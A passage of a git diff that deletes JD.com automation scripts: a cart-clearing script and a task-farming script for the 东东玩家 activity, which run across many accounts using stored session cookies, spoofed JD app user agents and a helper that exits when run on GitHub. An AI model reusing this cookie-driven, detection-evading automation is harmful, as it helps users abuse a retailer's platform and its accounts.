JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_cleancart.js b/backUp/jd_cleancart.js deleted file mode 100644 index 5c01f62..0000000 --- a/backUp/jd_cleancart.js +++ /dev/null @@ -1,245 +0,0 @@ -/* - -#清空购物车 -0 0 1 5 * jd_cleancart.js, tag=清空购物车, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - - */ -const $ = new Env('清空购物车'); -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; - -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', allMessage = '', users = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; - users = process.env.CleanUsers ? process.env.CleanUsers : ''; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg('【京东账号一】清空购物车失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - } - console.log("将需要跳过清理的账号(cookie中的pt_pin)放到变量CleanUsers中,多个用@隔开\n") - console.log("❗️❗️❗️❗️本脚本会清理购物车所有商品❗️❗️❗️❗️\n") - console.log("脚本十秒后开始清理\n") - await sleep(10 * 1000) - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.User = cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] - $.UserName = decodeURIComponent($.User) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } else if (users.indexOf($.User) > -1) { - console.log(`❗️❗️账号在变量中,跳过此账号\n`); - continue - } - allMessage += `京东账号${$.index} - ${$.nickName}\n`; - await getCarts(); - allMessage += `购物车商品数:${$.cartsTotalNum}\n`; - if ($.cartsTotalNum > 0) { - for (let i = 0; i < 3; i++) { - await unsubscribeCartsFun(); - await getCarts(); - if ($.cartsTotalNum == 0) { break } - await sleep(3000) - } - if ($.cartsTotalNum > 0) { - allMessage += `清空结果:❌\n`; - } else { - allMessage += `清空结果:✅\n`; - } - } - allMessage += '\n' - } - } - if (allMessage) { - allMessage = allMessage.substring(0, allMessage.length - 1) - if ($.isNode() && (process.env.CASH_NOTIFY_CONTROL ? process.env.CASH_NOTIFY_CONTROL === 'false' : !!1)) await notify.sendNotify($.name, allMessage); - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -function sleep(timeout) { - return new Promise((resolve) => setTimeout(resolve, timeout)); -} -function unsubscribeCartsFun() { - return new Promise(resolve => { - - const options = { - "url": `https://wq.jd.com/deal/mshopcart/rmvCmdy?sceneval=2&g_login_type=1&g_ty=ajax`, - "body": `pingouchannel=0&commlist=${$.commlist}&type=0&checked=0&locationid=${$.areaId}&templete=1®=1&scene=0&version=20190418&traceid=${$.traceId}&tabMenuType=1&sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://p.m.jd.com/", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - data = JSON.parse(data); - if (data['errId'] == '0') { console.log('清空购物车成功') } - } catch (e) { - console.log('清空购物车出错') - $.logErr(e, resp); - } finally { - resolve(data); - } - }); - }) -} - -function getStr(text, start, end) { - - var str = text; - var aPos = str.indexOf(start); - if (aPos < 0) { return null } - var bPos = str.indexOf(end, aPos + start.length); - if (bPos < 0) { return null } - var retstr = str.substr(aPos + start.length, text.length - (aPos + start.length) - (text.length - bPos)); - return retstr; - -} -function getCarts() { - $.shopsTotalNum = 0; - return new Promise((resolve) => { - const option = { - url: `https://p.m.jd.com/cart/cart.action`, - headers: { - "Host": "p.m.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br" - }, - } - $.get(option, (err, resp, data) => { - try { - - data = JSON.parse(getStr(data, 'window.cartData =', 'window._PFM_TIMING')); - $.cartsTotalNum = 0; - if (data.errId === '0') { - $.traceId = data['traceId'] - $.areaId = data['areaId'] - let itemId, sKuId, index, temp - $.commlist = '' - for (let i = 0; i < data['cart']['venderCart'].length; i++) { - const vender = data['cart']['venderCart'][i]; - for (let s = 0; s < vender['sortedItems'].length; s++) { - const sorted = vender['sortedItems'][s]; - itemId = sorted['itemId'] - for (let m = 0; m < sorted['polyItem']['products'].length; m++) { - const products = sorted['polyItem']['products'][m]; - if (itemId == products['mainSku']['id']) { - sKuId = '' - index = '1' - } else { - sKuId = itemId - index = sorted['polyType'] == '4' ? '13' : '11' - } - temp = [products['mainSku']['id'], , '1', products['mainSku']['id'], index, sKuId, '0', 'skuUuid:' + products['skuUuid'] + '@@useUuid:' + products['useUuid']].join(',') - if ($.commlist.length > 0) { - $.commlist += '$' - } - $.commlist += temp - $.cartsTotalNum += 1 - } - } - } - if ($.commlist.length > 0) { - $.commlist = encodeURIComponent($.commlist) - } - console.log(`当前购物车商品数:${$.cartsTotalNum}个\n`) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }); - }) -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/backUp/jd_ddwj.js b/backUp/jd_ddwj.js deleted file mode 100644 index 90b7a6f..0000000 --- a/backUp/jd_ddwj.js +++ /dev/null @@ -1,530 +0,0 @@ -/* -tgchannel:https://t.me/Ariszy8028 -github:https://github.com/Ariszy/Private-Script -boxjs:https://raw.githubusercontent.com/Ariszy/Private-Script/master/Ariszy.boxjs.json -[task_local] -#东东玩家 -20 0 * * * https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_ddwj.js, tag= 东东玩家 -================Loon============== -[Script] -cron "20 0 * * *" script-path= https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_ddwj.js,tag= 东东玩家 -===============Surge================= -东东玩家 = type=cron,cronexp="20 0 * * *",wake-system=1,timeout=3600,script-path= https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_ddwj.js -============小火箭========= -东东玩家 = type=cron,script-path= https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_ddwj.js, cronexpr="20 0 * * *", timeout=3600, enable=true -*/ -const $ = new Env('东东玩家') -const notify = $.isNode() ?require('./sendNotify') : ''; -cookiesArr = [] -CodeArr = [] -cookie = '' -var list2tokenArr = [],list4tokenArr = [],list6tokenArr = [],list5tokenArr = [],list4tokenArr = [],list3tokenArr = [],list1tokenArr = [],list2tokenArr = [],listtokenArr = [],list0tokenArr = [],list1tokenArr = [] -var taskid,token,helpcode,secretp,userUnlockedPlaceNum; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -let tz = ($.getval('tz') || '1');//0关闭通知,1默认开启 -const invite=1;//新用户自动邀请,0关闭,1默认开启 -const logs =0;//0为关闭日志,1为开启 -var hour='' -var minute='' -if ($.isNode()) { - hour = new Date( new Date().getTime() + 8 * 60 * 60 * 1000 ).getHours(); - minute = new Date( new Date().getTime() + 8 * 60 * 60 * 1000 ).getMinutes(); -}else{ - hour = (new Date()).getHours(); - minute = (new Date()).getMinutes(); -} -//CK运行 -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i =0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - message = '' - $.isLogin = true; - $.index = i + 1; - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await gethelpcode() - await getlist() - await getsecretp() - await getfeedtoken() - await Ariszy() - await zy() - //await userScore() - } -for(let i = 0; i < cookiesArr.length; i++){ - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - message = '' - $.isLogin = true; - $.index = i + 1; - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}助力模块*********\n`); - await getsecretp() - await control() - await userScore() -} - -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -function PostRequest(uri,body) { - const url = `https://api.m.jd.com/client.action?${uri}`; - const method = `POST`; - const headers = {"Accept": "application/json", -"Accept-Encoding": "gzip, deflate, br", -"Accept-Language": "zh-cn", -"Connection": "keep-alive", -"Content-Type": "application/x-www-form-urlencoded", -"Origin": "https://h5.m.jd.com", -"Cookie": cookie, -"Host": "api.m.jd.com", -"User-Agent": "jdapp;iPhone;10.0.6;14.4;0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849;network/4g;model/iPhone12,1;addressid/2377723269;appBuild/167724;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" -} - return {url: url, method: method, headers: headers, body: body}; -} - -async function doTask(){ - const body = `functionId=funny_collectScore&body=%7B%22taskId%22%3A${taskid}%2C%22taskToken%22%3A%22${token}%22%2C%22ss%22%3A%22%7B%5C%22extraData%5C%22%3A%7B%5C%22log%5C%22%3A%5C%22%5C%22%2C%5C%22sceneid%5C%22%3A%5C%22HWJhPageh5%5C%22%7D%2C%5C%22secretp%5C%22%3A%5C%22${secretp}%5C%22%2C%5C%22random%5C%22%3A%5C%2243136926%5C%22%7D%22%2C%22actionType%22%3A1%7D&client=wh5&clientVersion=1.0.0&uuid=0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849&appid=o2_act` - const MyRequest = PostRequest(`advId=funny_collectScore`,body) -//$.log(JSON.stringify(MyRequest)) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - console.log("\n"+result.data.bizMsg+"\n") - await $.wait(8000) - }else{ - $.log(result.msg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function DoTask(){ - const body = 